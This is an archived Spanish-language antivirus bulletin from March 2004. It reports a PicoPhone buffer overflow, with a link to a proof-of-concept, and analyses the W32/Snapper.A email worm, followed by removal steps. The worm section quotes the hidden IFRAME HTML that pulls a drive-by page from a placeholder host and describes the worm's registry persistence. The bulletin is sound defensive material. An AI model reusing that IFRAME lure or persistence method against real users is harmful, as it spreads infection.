Mostrando mensaje 407     < Anterior | Siguiente > Responder a este mensaje Asunto: VSantivirus No. 1358 Año 8, jueves 25 de marzo de 2004 Fecha: Jueves, 25 de Marzo, 2004  06:52:10 (-0300) Autor: VSAntivirus.com <vsantivirus @...........com> VSantivirus No. 1358 Año 8, jueves 25 de marzo de 2004 _____________________________________________________________ El boletín diario de VSANTIVIRUS - http://www.vsantivirus.com VIDEO SOFT (Maldonado, Uruguay) - http://www.videosoft.net.uy _____________________________________________________________ 1 - Ejecución de código en PicoPhone 1.63 2 - W32/Snapper.A. Se propaga por e-mail, sin adjuntos _____________________________________________________________ 1 - Ejecución de código en PicoPhone 1.63 _____________________________________________________________ http://www.vsantivirus.com/vul-picophone163.htm Ejecución de código en PicoPhone 1.63 Un desbordamiento de búfer en PicoPhone 1.63, permite la ejecución de código en forma arbitraria en la computadora con este software instalado. PicoPhone es una aplicación de telefonía vía Internet, con Chat, desarrollada por Marko Vitez (http://www.vitez.it). Luigi Auriemma reporta una vulnerabilidad del tipo "buffer overflow" (desbordamiento de búfer) en PicoPhone, mediante la cual, un usuario malintencionado puede ejecutar código arbitrario en el sistema atacado. Según el reporte, PicoPhone tiene una función de "logging" (registro de acciones), habilitada por defecto, que permite a los usuarios tener un reporte de cualquier llamada y mensaje entrante. Dicha función es vulnerable a un desbordamiento de búfer. Un usuario remoto puede enviar un paquete especialmente alterado para generar el desbordamiento y ocasionar que el software falle o ejecutar código arbitrario en el sistema del usuario atacado. Existe un exploit de demostración disponible: http://aluigi.altervista.org/poc/picobof.zip Esta afectado por esta vulnerabilidad PicoPhone 1.63 y versiones anteriores. En la versión 1.64 de PicoPhone este fallo fue corregido, por lo cual se recomienda a los usuarios actualizarse a la misma: http://www.vitez.it/picophone/PicoPhone164.exe Descubierto por: Luigi Auriemma http://aluigi.altervista.org PicoPhone: http://www.vitez.it/picophone/ Basado en reportes publicados en: http://www.securitytracker.com/alerts/2004/Mar/1009551.html http://aluigi.altervista.org/adv/picobof-adv.txt http://aluigi.altervista.org/adv/picobof-adv-ita.txt * Glosario: Desbordamiento de búfer (buffer overflow). El búfer es un área determinada en la memoria, usada por una aplicación para guardar ciertos datos necesarios para su funcionamiento. Esta área tiene un tamaño previamente definido en el programa, pero si se envían más bytes de los permitidos, la información sobrepasa los límites impuestos, cayendo en muchos casos sobre partes ejecutables del código principal. Un uso malintencionado de estos datos, puede hacer que esa parte contenga instrucciones preparadas para activar ciertas acciones no pensadas por el programador de la aplicación. (c) Video Soft - http://www.videosoft.net.uy (c) VSAntivirus - http://www.vsantivirus.com _____________________________________________________________ 2 - W32/Snapper.A. Se propaga por e-mail, sin adjuntos _____________________________________________________________ http://www.vsantivirus.com/snapper-a.htm Nombre: W32/Snapper.A Tipo: Gusano de Internet Alias: Snapper, I-Worm.Snapper, W32/Snapper.A@mm, VBS/Inor.J, W32.Snapper.A@mm, W32/Snapper@MM, Win32/Snapper.A Plataforma: Windows 32-bit Fecha: 24/mar/04 Tamaño: 9 Kb Este gusano envía mensajes conteniendo un enlace a una página HTML que ejecuta un script que libera a su vez al gusano propiamente dicho en la máquina del usuario. Se trata de un gusano multicomponentes, que consta de una página HTML, un script y un archivo DLL que es instalado y ejecutado en la máquina infectada. Llega a la bandeja de entrada en un correo electrónico sin adjuntos. El mecanismo de infección se inicia si el mensaje es abierto o visualizado en el panel de vista previa del Outlook u Outlook Express (y de cualquier otro cliente de correo que utilice las facilidades del Internet Explorer para visualizar archivos con formato HTML). Como recientemente lo hiciera el Bagle.Q, este gusano también se vale de una conocida vulnerabilidad en el Internet Explorer, solucionada desde el parche acumulativo de agosto de 2003 (MS03-032). También se menciona en el boletín MS03- 040 (octubre 2003). Está incluido en el último parche acumulativo a la fecha de este reporte, de febrero de 2004 (MS04-004): MS03-032 Actualización acumulativa para IE (822925) http://www.vsantivirus.com/vulms03-032.htm MS03-040 Actualización acumulativa para IE (828750) http://www.vsantivirus.com/vulms03-040.htm MS04-004 Actualización acumulativa para IE (832894) http://www.vsantivirus.com/vulms04-004.htm La vulnerabilidad se produce en el manejo de etiquetas de objeto en ventanas pop-up, debido a un problema en el IE al no poder tratar correctamente un tipo de objeto que devuelve un servidor Web. Esto permite la ejecución de código en el sistema del usuario. Lamentablemente, algunos reportes indicarían que los parches ofrecidos, no evitan la ejecución del exploit del que se vale el gusano (ver más adelante "INFORMACIÓN IMPORTANTE"). El mensaje contiene un enlace a una página llamada BANNER.HTM, ubicada en un servidor de los Estadios Unidos. Este enlace es activado automáticamente por la vulnerabilidad mencionada antes. Cuando ello sucede, el gusano se conecta al sitio y ejecuta un script. El script determina que versión del Internet Explorer se está utilizando. Si la versión es 5.0, 5.5 y 6.0, el gusano utiliza la vulnerabilidad mencionada para ejecutar otro script escrito en Visual Basic Script, HTMLHELP.CGI, en el mismo servidor. Este script libera el binario IELOAD.DLL en la carpeta donde Windows esté instalado, y lo ejecuta. El DLL consta de dos partes, el componente DLL propiamente dicho, que contiene dos funciones, "InstallDLL" y "MessageHandler", este instala el gusano y propaga el mensaje propiamente del mismo. El DLL es borrado, y se copia como IELOAD.DLL en la carpeta System o System32 de Windows. También se registra a si mismo como un Browser Helper Object (BHO). De este modo se integra al Internet Explorer como un objeto que se adjunta a si mismo a cada nueva instancia del Internet Explorer, pudiendo ejecutar eventos predeterminados. El gusano crea una CLSID (Class identifier, o Identificador de clase), que lo identifica como un componente DLL en el registro de Windows de forma que otras aplicaciones puedan cargarlo. Para ello crea las siguientes entradas en el registro: HKLM\Software\Microsoft\Windows\CurrentVersion \Explorer\Browser Helper Objects\{CLSID al azar} HKEY_CLASSES_ROOT\CLSID\{CLSID al azar} Donde {CLSID al azar} es un valor del tipo "{1A1A1A1A-1A1A- 12CA-17C2-5AHB2C1A1BC1}", diferente en cada equipo infectado. Este {CLSID} apunta al siguiente archivo: c:\windows\system\ieload.dll NOTA: "c:\windows\system" puede variar de acuerdo al sistema operativo instalado (con ese nombre por defecto en Windows 9x y ME, como "c:\winnt\system32" en Windows NT y 2000 y "c:\windows\system32" en Windows XP y Windows Server 2003). Después el gusano abre una conexión a otro sitio de Internet por el puerto TCP/80, para reportar su instalación y datos del usuario infectado. El gusano obtiene del registro la información de la cuenta electrónica del usuario (servidor SMTP, cuenta, dirección electrónica, nombre de usuario), abre la libreta de direcciones para obtener la lista de remitentes, y se envía a todas las direcciones allí encontradas. El mensaje tiene como asunto un "Re:" y el cuerpo del mensaje aparenta estar vacío, pero contiene código HTML que ejecuta una etiqueta IFRAME con el exploit que enlaza a la página BANNER.HTM como ya se explicó. En las sucesivas ejecuciones del DLL, se crean o actualizan las siguientes entradas en el registro: HKCC\Software\Microsoft\Windows \CurrentVersion\Internet Settings PopupsLoaded TimerTicks El mensaje tiene las siguientes características: De: [dirección falsa] Asunto: Re: Texto del mensaje: [el siguiente código HTML] <HTML><BODY><IFRAME src='http://[XXX]/banner.htm' style='display:none'></IFRAME></HTML></BODY> En el cliente de correo del usuario, este contenido no es visualizado, apareciendo un mensaje en blanco. Sin embargo, el IFRAME abre el archivo BANNER.HTM cuando el mensaje es abierto. c:\windows\ieload.dll c:\windows\system\ieload.dll El gusano puede detener la ejecución de los siguientes procesos, si los encuentra activos: ccapp.exe navapw32.exe outpost.exe spiderml.exe * Reparación manual Nota: Recomendamos utilizar un programa tipo firewall (cortafuego) como el ZoneAlarm, el cuál detendrá y advertirá la conexión de este y cualquier otro troyano con Internet, así como cualquier intento de acceder a nuestro sistema. ZoneAlarm (gratuito para su uso personal), además de ser un excelente cortafuegos, también impide la ejecución de cualquier adjunto con posibilidades de poseer virus (sin necesidad de tener que actualizarlo con cada nueva versión de un virus). Más información: Cómo configurar Zone Alarm 3.x http://www.vsantivirus.com/za.htm * Antivirus Actualice sus antivirus con las últimas definiciones, luego siga estos pasos: 1. Reinicie Windows en modo a prueba de fallos, como se indica en este artículo: Cómo iniciar su computadora en Modo a prueba de fallos. http://www.vsantivirus.com/faq-modo-fallo.htm 2. Ejecute sus antivirus en modo escaneo, revisando todos sus discos duros. 3. Borre los archivos detectados como infectados. * Editar el registro Nota: algunas de las ramas en el registro aquí mencionadas, pueden no estar presentes ya que ello depende de que versión de Windows se tenga instalada. 1. Ejecute el editor de registro: Inicio, ejecutar, escriba REGEDIT y pulse ENTER 2. En el editor del registro, seleccione el menú desplegable "Edición", "Buscar", y escriba en la ventana "Buscar" que será desplegada lo siguiente: IELOAD.DLL 3. Pinche en el botón "Buscar siguiente" y borre todas las entradas que aparezcan. Por ejemplo, si aparece una entrada como ésta: HKEY_CURRENT_USER \CLSID \{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX} \InprocServer32 (Predeterminado) = c:\windows\system\IELOAD.DLL 4. Borre la carpeta {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}, donde las XXXX representan caracteres hexadecimales. 5. En el panel izquierdo del editor, pinche en el signo "+" hasta abrir la siguiente rama: HKEY_LOCAL_MACHINE \Software \Microsoft \Windows \CurrentVersion \Explorer \Browser Helper Objects 6. Borre la misma clave CLSID localizada antes, por ejemplo: {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}, donde las XXXX representan caracteres hexadecimales. 7. En el panel izquierdo del editor, pinche en el signo "+" hasta abrir la siguiente rama: HKEY_CURRENT_CONFIG \Software \Microsoft \Windows \CurrentVersion \Internet Settings 8. Pinche en la carpeta "Internet Settings" y en el panel de la derecha, bajo la columna "Nombre", busque y borre las siguientes entradas: PopupsLoaded TimerTicks 9. Use "Registro", "Salir" para salir del editor y confirmar los cambios. 10. Reinicie su computadora (Inicio, Apagar el sistema, Reiniciar). * Información adicional El gusano utiliza un exploit que se aprovecha de una vulnerabilidad del Internet Explorer para manejar las etiquetas IFRAME, a los efectos de ejecutarse al ser visualizado el mensaje, en aquellos equipos que no hayan instalado los últimos parches para el Internet Explorer y Outlook Express. El mensaje contiene en su código una etiqueta IFRAME, que normalmente permite la inclusión de páginas o documentos dentro de otras páginas, ya sean del mismo dominio o no. Valiéndose de una vulnerabilidad del Internet Explorer, se logra ejecutar un script que obliga a que el navegador descargue y ejecute el archivo adjunto, superando las restricciones de seguridad que Windows impone a cualquier código cuando se usa dentro de un IFRAME. La configuración sugerida en el siguiente artículo, evita la ejecución del script que permite la explotación de esta falla: Navegando más seguros y sin molestos Pop-Ups con el IE http://www.vsantivirus.com/faq-sitios-confianza.htm Se sugiere descargar la última actualización acumulativa para el Internet Explorer, que corrige esta falla: MS04-004 Actualización acumulativa para IE (832894) http://www.vsantivirus.com/vulms04-004.htm * Activar el cortafuegos de Windows XP (Internet Conexión Firewall, ICF) Para activar ICF en Windows XP, siga estos pasos: 1. Seleccione Inicio, Panel de Control, Conexiones de Red (o Conexiones de Red e Internet, Conexiones de Red). 2. Pinche con el botón derecho sobre las distintas conexiones disponibles para conectarse a Internet, y en "Conexión de Red de Area Local" y seleccione Propiedades en cada una de ellas. 3. En la lengüeta "Avanzadas" tilde la opción "Proteger mi equipo y mi red limitando o impidiendo el acceso a él desde Internet" en todos los casos. 4. Seleccione Aceptar, etc. * Mostrar las extensiones verdaderas de los archivos Para poder ver las extensiones verdaderas de los archivos y además visualizar aquellos con atributos de "Oculto", proceda así: 1. Ejecute el Explorador de Windows 2. Seleccione el menú 'Ver' (Windows 95/98/NT) o el menú 'Herramientas' (Windows Me/2000/XP), y pinche en 'Opciones' u 'Opciones de carpetas'. 3. Seleccione la lengüeta 'Ver'. 4. DESMARQUE la opción "Ocultar extensiones para los tipos de archivos conocidos" o similar. 5. En Windows 95/NT, MARQUE la opción "Mostrar todos los archivos y carpetas ocultos" o similar. En Windows 98, bajo 'Archivos ocultos', MARQUE 'Mostrar todos los archivos'. En Windows Me/2000/XP, en 'Archivos y carpetas ocultos', MARQUE 'Mostrar todos los archivos y carpetas ocultos' y DESMARQUE 'Ocultar archivos protegidos del sistema operativo'. 6. Pinche en 'Aplicar' y en 'Aceptar'. * Limpieza de virus en Windows Me y XP Si el sistema operativo instalado es Windows Me o Windows XP, para poder eliminar correctamente este virus de su computadora, deberá deshabilitar antes de cualquier acción, la herramienta "Restaurar sistema" como se indica en estos artículos: Limpieza de virus en Windows Me http://www.vsantivirus.com/faq-winme.htm Limpieza de virus en Windows XP http://www.vsantivirus.com/faq-winxp.htm (c) Video Soft - http://www.videosoft.net.uy (c) VSAntivirus - http://www.vsantivirus.com _____________________________________________________________ Pautas generales para mantenerse alejado de los virus _____________________________________________________________ Recuerde estas pautas para mantener alejado de su computadora cualquier riesgo de virus o troyanos: 1) Use regularmente un programa antivirus (nosotros siempre recomendamos no confiar en uno solo, pero usar más de uno no significa que debamos tenerlos a todos instalados, simplemente ejecutamos esos antivirus en su opción de escaneo, sobre la carpeta que contenga los archivos a revisar). Y por supuesto, de nada vale usar algún antivirus si no lo mantenemos actualizado con los upgrades, updates o add-ons correspondientes. Actualmente, las actualizaciones son diarias (AVP, Panda y otros) o al menos semanales. No existen los "virus demasiados nuevos y sin antídotos", la reacción de las casas de antivirus es inmediata en todos los casos. Pero mejor pregúntese, si la suya también lo es a la hora de actualizarse. 2) No abrir ningún mensaje ni archivo recibido a través del correo electrónico de fuentes desconocidas o muy poco conocidas. En el caso de personas conocidas, se deben igualmente tomar las precauciones correspondientes. Asegurarse con esa persona del envío ("Melissa" y otros pueden ser enviados por conocidos que ignoran estar mandando el virus en sus mensajes), y nunca ejecutarlos, sino guardarlos en una carpeta temporal y pasarle a esa carpeta dos o tres antivirus actualizados antes de tomar la opción de ejecutarlos (.EXE) o abrirlos (.DOC, .RTF, etc.). Pero ante cualquier duda, simplemente se debe optar por borrar el mensaje (y archivos adjuntos). Como se dice vulgarmente, "la confianza mata al hombre", en este caso a la PC. 3) Estar informado de cómo operan los virus, y de las novedades sobre estos, alertas y anuncios críticos, en sitios como el nuestro. 4) No bajar nada de sitios Web de los que no tenga referencias de seriedad, o que no sean medianamente conocidos. Y si se bajan archivos, proceder como los archivos adjuntos. Copiarlos a una carpeta y revisarlos con dos o tres antivirus actualizados antes de optar por ejecutarlos o abrirlos. _____________________________________________________________ Sobre este boletín _____________________________________________________________ La distribución de este boletín es gratuita, y está amparada bajo los derechos de Copyright registrados por Video Soft (también los artículos publicados directamente en nuestra página). Si usted desea usar esta información en cualquier medio escrito o electrónico, puede hacerlo sin solicitarnos el permiso respectivo, con la única condición de mencionar su origen, y remitirnos un e-mail o ejemplar con la ubicación donde se haga referencia al material usado que haya sido sacado de este boletín o de la página de VSAntivirus. Video Soft, Video Soft BBS, VSAntivirus y VSAyuda son marcas registradas. Los artículos de otros autores han sido incluidos de acuerdo a la política de Copyright adoptada por cada uno de ellos, y su inclusión en nuestro boletín se rige por dichas políticas, sin embargo, para su uso en otro medio, se deberá solicitar la debida autorización.- _____________________________________________________________ Visite diariamente nuestra página. Puede bajar de allí las versiones de evaluación actualizadas de los antivirus más usados o que consideramos por nuestra experiencia más confiables. El criterio de selección solo pasa por nuestra experiencia diaria con usuarios y clientes, a los que asesoramos y damos servicio técnico. _____________________________________________________________ Cualquier duda o comentario sobre esta lista de correo, envíe un e-mail a cualquiera de estas direcciones: jllopez@nativo.com videosoft@videosoft.net.uy _____________________________________________________________ VSANTIVIRUS - Sitio oficial: http://www.vsantivirus.com _____________________________________________________________ Altas: http://listas.vsantivirus.com/lista/vsantivirus/alta Bajas: http://listas.vsantivirus.com/lista/vsantivirus/baja También puede enviar un mensaje vacío a estas direcciones: Altas: vsantivirus-alta@listas.vsantivirus.com Bajas: vsantivirus-baja@listas.vsantivirus.com _____________________________________________________________ VSANTIVIRUS - http://www.vsantivirus.com - Es un servicio de VIDEO SOFT (Maldonado, Uruguay) - http://www.videosoft.net.uy _____________________________________________________________ VSantivirus No. 1358 Año 8, jueves 25 de marzo de 2004